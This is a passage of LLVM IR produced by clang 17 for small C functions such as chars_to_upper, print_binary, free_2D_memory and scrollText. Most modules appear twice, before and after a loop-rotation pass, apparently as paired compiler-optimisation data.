%39 = inttoptr i64 %38 to ptr
%40 = load volatile i64, ptr %39, align 8
%41 = and i64 %40, 136
%42 = icmp ne i64 %41, 0
br i1 %42, label %36, label %43, !llvm.loop !8
43: ; preds = %36
%44 = load i64, ptr %5, align 8
%45 = load i64, ptr %3, align 8
%46 = add i64 %45, 44
%47 = inttoptr i64 %46 to ptr
store volatile i64 %44, ptr %47, align 8
ret void
}
declare i32 @UARTBaseValid(i64 noundef) #1
declare i32 @AssertFailure(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmp59j3lsjb.c'
source_filename = "/tmp/tmp59j3lsjb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local signext i8 @chars_to_upper(i8 noundef signext %0) #0 {
%2 = alloca i8, align 1
%3 = alloca i8, align 1
store i8 %0, ptr %3, align 1
%4 = load i8, ptr %3, align 1
%5 = call i64 @chars_is_lower(i8 noundef signext %4)
%6 = icmp ne i64 %5, 0
br i1 %6, label %7, label %12
7: ; preds = %1
%8 = load i8, ptr %3, align 1
%9 = sext i8 %8 to i32
%10 = sub nsw i32 %9, 32
%11 = trunc i32 %10 to i8
store i8 %11, ptr %2, align 1
br label %14
12: ; preds = %1
%13 = load i8, ptr %3, align 1
store i8 %13, ptr %2, align 1
br label %14
14: ; preds = %12, %7
%15 = load i8, ptr %2, align 1
ret i8 %15
}
declare i64 @chars_is_lower(i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp59j3lsjb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local signext i8 @chars_to_upper(i8 noundef signext %0) #0 {
%2 = alloca i8, align 1
%3 = alloca i8, align 1
store i8 %0, ptr %3, align 1
%4 = load i8, ptr %3, align 1
%5 = call i64 @chars_is_lower(i8 noundef signext %4)
%6 = icmp ne i64 %5, 0
br i1 %6, label %7, label %12
7: ; preds = %1
%8 = load i8, ptr %3, align 1
%9 = sext i8 %8 to i32
%10 = sub nsw i32 %9, 32
%11 = trunc i32 %10 to i8
store i8 %11, ptr %2, align 1
br label %14
12: ; preds = %1
%13 = load i8, ptr %3, align 1
store i8 %13, ptr %2, align 1
br label %14
14: ; preds = %12, %7
%15 = load i8, ptr %2, align 1
ret i8 %15
}
declare i64 @chars_is_lower(i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp083yadw_.c'
source_filename = "/tmp/tmp083yadw_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @print_binary(i32 noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca i32, align 4
store i32 %0, ptr %2, align 4
store i32 -2147483648, ptr %3, align 4
br label %4
4: ; preds = %7, %1
%5 = load i32, ptr %3, align 4
%6 = icmp ne i32 %5, 0
br i1 %6, label %7, label %20
7: ; preds = %4
%8 = load i32, ptr %2, align 4
%9 = load i32, ptr %3, align 4
%10 = and i32 %8, %9
%11 = icmp ne i32 %10, 0
%12 = xor i1 %11, true
%13 = xor i1 %12, true
%14 = zext i1 %13 to i32
%15 = add nsw i32 48, %14
%16 = trunc i32 %15 to i8
%17 = call i32 @putchar(i8 noundef signext %16)
%18 = load i32, ptr %3, align 4
%19 = lshr i32 %18, 1
store i32 %19, ptr %3, align 4
br label %4, !llvm.loop !6
20: ; preds = %4
%21 = call i32 @putchar(i8 noundef signext 10)
ret void
}
declare i32 @putchar(i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp083yadw_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @print_binary(i32 noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca i32, align 4
store i32 %0, ptr %2, align 4
store i32 -2147483648, ptr %3, align 4
%4 = load i32, ptr %3, align 4
%5 = icmp ne i32 %4, 0
br i1 %5, label %.lr.ph, label %21
.lr.ph: ; preds = %1
br label %6
6: ; preds = %.lr.ph, %6
%7 = load i32, ptr %2, align 4
%8 = load i32, ptr %3, align 4
%9 = and i32 %7, %8
%10 = icmp ne i32 %9, 0
%11 = xor i1 %10, true
%12 = xor i1 %11, true
%13 = zext i1 %12 to i32
%14 = add nsw i32 48, %13
%15 = trunc i32 %14 to i8
%16 = call i32 @putchar(i8 noundef signext %15)
%17 = load i32, ptr %3, align 4
%18 = lshr i32 %17, 1
store i32 %18, ptr %3, align 4
%19 = load i32, ptr %3, align 4
%20 = icmp ne i32 %19, 0
br i1 %20, label %6, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %6
br label %21
21: ; preds = %._crit_edge, %1
%22 = call i32 @putchar(i8 noundef signext 10)
ret void
}
declare i32 @putchar(i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmphhjkvkb4.c'
source_filename = "/tmp/tmphhjkvkb4.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @free_2D_memory(ptr noundef %0, i64 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i64, align 8
%5 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store i64 %1, ptr %4, align 8
store i32 0, ptr %5, align 4
br label %6
6: ; preds = %18, %2
%7 = load i32, ptr %5, align 4
%8 = sext i32 %7 to i64
%9 = load i64, ptr %4, align 8
%10 = icmp ult i64 %8, %9
br i1 %10, label %11, label %21
11: ; preds = %6
%12 = load ptr, ptr %3, align 8
%13 = load i32, ptr %5, align 4
%14 = sext i32 %13 to i64
%15 = getelementptr inbounds ptr, ptr %12, i64 %14
%16 = load ptr, ptr %15, align 8
%17 = call i32 @free(ptr noundef %16)
br label %18
18: ; preds = %11
%19 = load i32, ptr %5, align 4
%20 = add nsw i32 %19, 1
store i32 %20, ptr %5, align 4
br label %6, !llvm.loop !6
21: ; preds = %6
%22 = load ptr, ptr %3, align 8
%23 = call i32 @free(ptr noundef %22)
ret void
}
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmphhjkvkb4.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @free_2D_memory(ptr noundef %0, i64 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i64, align 8
%5 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store i64 %1, ptr %4, align 8
store i32 0, ptr %5, align 4
%6 = load i32, ptr %5, align 4
%7 = sext i32 %6 to i64
%8 = load i64, ptr %4, align 8
%9 = icmp ult i64 %7, %8
br i1 %9, label %.lr.ph, label %24
.lr.ph: ; preds = %2
br label %10
10: ; preds = %.lr.ph, %17
%11 = load ptr, ptr %3, align 8
%12 = load i32, ptr %5, align 4
%13 = sext i32 %12 to i64
%14 = getelementptr inbounds ptr, ptr %11, i64 %13
%15 = load ptr, ptr %14, align 8
%16 = call i32 @free(ptr noundef %15)
br label %17
17: ; preds = %10
%18 = load i32, ptr %5, align 4
%19 = add nsw i32 %18, 1
store i32 %19, ptr %5, align 4
%20 = load i32, ptr %5, align 4
%21 = sext i32 %20 to i64
%22 = load i64, ptr %4, align 8
%23 = icmp ult i64 %21, %22
br i1 %23, label %10, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %17
br label %24
24: ; preds = %._crit_edge, %2
%25 = load ptr, ptr %3, align 8
%26 = call i32 @free(ptr noundef %25)
ret void
}
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp8vi5jwyt.c'
source_filename = "/tmp/tmp8vi5jwyt.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @scrollText(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%6 = load ptr, ptr %2, align 8
%7 = call i32 @strlen(ptr noundef %6)
store i32 %7, ptr %4, align 4
%8 = call ptr @malloc(i32 noundef 16)
store ptr %8, ptr %5, align 8
store i32 0, ptr %3, align 4
br label %9
9: ; preds = %26, %1
%10 = load i32, ptr %3, align 4
%11 = load i32, ptr %4, align 4
%12 = sub nsw i32 %11, 16
%13 = icmp sle i32 %10, %12
br i1 %13, label %14, label %29
14: ; preds = %9
%15 = load ptr, ptr %5, align 8
%16 = call i32 @memset(ptr noundef %15, i8 noundef signext 32, i32 noundef 16)
%17 = load ptr, ptr %5, align 8
%18 = load ptr, ptr %2, align 8
%19 = load i32, ptr %3, align 4
%20 = sext i32 %19 to i64
%21 = getelementptr inbounds i8, ptr %18, i64 %20
%22 = call i32 @memcpy(ptr noundef %17, ptr noundef %21, i32 noundef 16)
%23 = load ptr, ptr %5, align 8
%24 = call i32 @setMessageToDisplay(ptr noundef %23)
%25 = call i32 @usleep(i32 noundef 200000)
br label %26
26: ; preds = %14
%27 = load i32, ptr %3, align 4
%28 = add nsw i32 %27, 1
store i32 %28, ptr %3, align 4
br label %9, !llvm.loop !6
29: ; preds = %9
store i32 1, ptr %3, align 4
br label %30
30: ; preds = %51, %29
%31 = load i32, ptr %3, align 4
%32 = icmp slt i32 %31, 16
br i1 %32, label %33, label %54
33: ; preds = %30
%34 = load ptr, ptr %5, align 8
%35 = call i32 @memset(ptr noundef %34, i8 noundef signext 32, i32 noundef 16)
%36 = load ptr, ptr %5, align 8
%37 = load ptr, ptr %2, align 8
%38 = load i32, ptr %4, align 4
%39 = sext i32 %38 to i64
%40 = getelementptr inbounds i8, ptr %37, i64 %39
%41 = load i32, ptr %3, align 4
%42 = sext i32 %41 to i64
%43 = getelementptr inbounds i8, ptr %40, i64 %42
%44 = getelementptr inbounds i8, ptr %43, i64 -16
%45 = load i32, ptr %3, align 4
%46 = sub nsw i32 16, %45
%47 = call i32 @memcpy(ptr noundef %36, ptr noundef %44, i32 noundef %46)
%48 = load ptr, ptr %5, align 8
%49 = call i32 @setMessageToDisplay(ptr noundef %48)
%50 = call i32 @usleep(i32 noundef 200000)
br label %51
51: ; preds = %33
%52 = load i32, ptr %3, align 4
%53 = add nsw i32 %52, 1
store i32 %53, ptr %3, align 4
br label %30, !llvm.loop !8
54: ; preds = %30
%55 = load ptr, ptr %5, align 8
%56 = load ptr, ptr %2, align 8
%57 = call i32 @memcpy(ptr noundef %55, ptr noundef %56, i32 noundef 16)
%58 = load ptr, ptr %5, align 8
%59 = call i32 @setMessageToDisplay(ptr noundef %58)
%60 = load ptr, ptr %5, align 8
%61 = call i32 @free(ptr noundef %60)
ret void
}
declare i32 @strlen(ptr noundef) #1
declare ptr @malloc(i32 noundef) #1
declare i32 @memset(ptr noundef, i8 noundef signext, i32 noundef) #1
declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @setMessageToDisplay(ptr noundef) #1
declare i32 @usleep(i32 noundef) #1
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp8vi5jwyt.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @scrollText(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%6 = load ptr, ptr %2, align 8
%7 = call i32 @strlen(ptr noundef %6)
store i32 %7, ptr %4, align 4
%8 = call ptr @malloc(i32 noundef 16)
store ptr %8, ptr %5, align 8
store i32 0, ptr %3, align 4
%9 = load i32, ptr %3, align 4
%10 = load i32, ptr %4, align 4
%11 = sub nsw i32 %10, 16
%12 = icmp sle i32 %9, %11
br i1 %12, label %.lr.ph, label %32
.lr.ph: ; preds = %1
br label %13
13: ; preds = %.lr.ph, %25
%14 = load ptr, ptr %5, align 8
%15 = call i32 @memset(ptr noundef %14, i8 noundef signext 32, i32 noundef 16)
%16 = load ptr, ptr %5, align 8
%17 = load ptr, ptr %2, align 8
%18 = load i32, ptr %3, align 4
%19 = sext i32 %18 to i64
%20 = getelementptr inbounds i8, ptr %17, i64 %19
%21 = call i32 @memcpy(ptr noundef %16, ptr noundef %20, i32 noundef 16)
%22 = load ptr, ptr %5, align 8
%23 = call i32 @setMessageToDisplay(ptr noundef %22)
%24 = call i32 @usleep(i32 noundef 200000)
br label %25
25: ; preds = %13
%26 = load i32, ptr %3, align 4
%27 = add nsw i32 %26, 1
store i32 %27, ptr %3, align 4
%28 = load i32, ptr %3, align 4
%29 = load i32, ptr %4, align 4
%30 = sub nsw i32 %29, 16
%31 = icmp sle i32 %28, %30
br i1 %31, label %13, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %25
br label %32
32: ; preds = %._crit_edge, %1
store i32 1, ptr %3, align 4
%33 = load i32, ptr %3, align 4
%34 = icmp slt i32 %33, 16
br i1 %34, label %.lr.ph2, label %58
.lr.ph2: ; preds = %32
br label %35
35: ; preds = %.lr.ph2, %53
%36 = load ptr, ptr %5, align 8
%37 = call i32 @memset(ptr noundef %36, i8 noundef signext 32, i32 noundef 16)
%38 = load ptr, ptr %5, align 8
%39 = load ptr, ptr %2, align 8
%40 = load i32, ptr %4, align 4
%41 = sext i32 %40 to i64
%42 = getelementptr inbounds i8, ptr %39, i64 %41
%43 = load i32, ptr %3, align 4
%44 = sext i32 %43 to i64
%45 = getelementptr inbounds i8, ptr %42, i64 %44
%46 = getelementptr inbounds i8, ptr %45, i64 -16
%47 = load i32, ptr %3, align 4
%48 = sub nsw i32 16, %47
%49 = call i32 @memcpy(ptr noundef %38, ptr noundef %46, i32 noundef %48)
%50 = load ptr, ptr %5, align 8
%51 = call i32 @setMessageToDisplay(ptr noundef %50)
%52 = call i32 @usleep(i32 noundef 200000)
br label %53
53: ; preds = %35
%54 = load i32, ptr %3, align 4
%55 = add nsw i32 %54, 1
store i32 %55, ptr %3, align 4
%56 = load i32, ptr %3, align 4
%57 = icmp slt i32 %56, 16
br i1 %57, label %35, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %53
br label %58
58: ; preds = %._crit_edge3, %32
%59 = load ptr, ptr %5, align 8
%60 = load ptr, ptr %2, align 8
%61 = call i32 @memcpy(ptr noundef %59, ptr noundef %60, i32 noundef 16)
%62 = load ptr, ptr %5, align 8
%63 = call i32 @setMessageToDisplay(ptr noundef %62)
%64 = load ptr, ptr %5, align 8
%65 = call i32 @free(ptr noundef %64)
ret void
}
declare i32 @strlen(ptr noundef) #1
declare ptr @malloc(i32 noundef) #1
declare i32 @memset(ptr noundef, i8 noundef signext, i32 noundef) #1
declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @setMessageToDisplay(ptr noundef) #1
declare i32 @usleep(i32 noundef) #1
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpdvjdohrr.c'
source_filename = "/tmp/tmpdvjdohrr.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [10 x i8] c".globl\09%s\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @cgpublic(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call i32 @ngen(ptr noundef @.str, ptr noundef %3, i32 noundef 0)
ret void
}
declare i32 @ngen(ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpdvjdohrr.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [10 x i8] c".globl\09%s\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @cgpublic(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call i32 @ngen(ptr noundef @.str, ptr noundef %3, i32 noundef 0)
ret void
}
declare i32 @ngen(ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpw6yctm4q.c'
source_filename = "/tmp/tmpw6yctm4q.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [66 x i8] c"This non-GNU version of CFITSIO does not support compressed files\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @uncompress2mem(ptr noundef %0, ptr noundef %1, ptr noundef %2, ptr noundef %3, ptr noundef %4, ptr noundef %5, ptr noundef %6) #0 {
%8 = alloca i32, align 4
%9 = alloca ptr, align 8
%10 = alloca ptr, align 8
%11 = alloca ptr, align 8
%12 = alloca ptr, align 8
%13 = alloca ptr, align 8
%14 = alloca ptr, align 8
%15 = alloca ptr, align 8
store ptr %0, ptr %9, align 8
store ptr %1, ptr %10, align 8
store ptr %2, ptr %11, align 8
store ptr %3, ptr %12, align 8
store ptr %4, ptr %13, align 8
store ptr %5, ptr %14, align 8
store ptr %6, ptr %15, align 8
%16 = load ptr, ptr %15, align 8
%17 = load i32, ptr %16, align 4
%18 = icmp sgt i32 %17, 0
br i1 %18, label %19, label %22
19: ; preds = %7
%20 = load ptr, ptr %15, align 8
%21 = load i32, ptr %20, align 4
store i32 %21, ptr %8, align 4
br label %25
22: ; preds = %7
%23 = call i32 @ffpmsg(ptr noundef @.str)
%24 = load ptr, ptr %15, align 8
store i32 414, ptr %24, align 4
store i32 414, ptr %8, align 4
br label %25
25: ; preds = %22, %19
%26 = load i32, ptr %8, align 4
ret i32 %26
}
declare i32 @ffpmsg(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
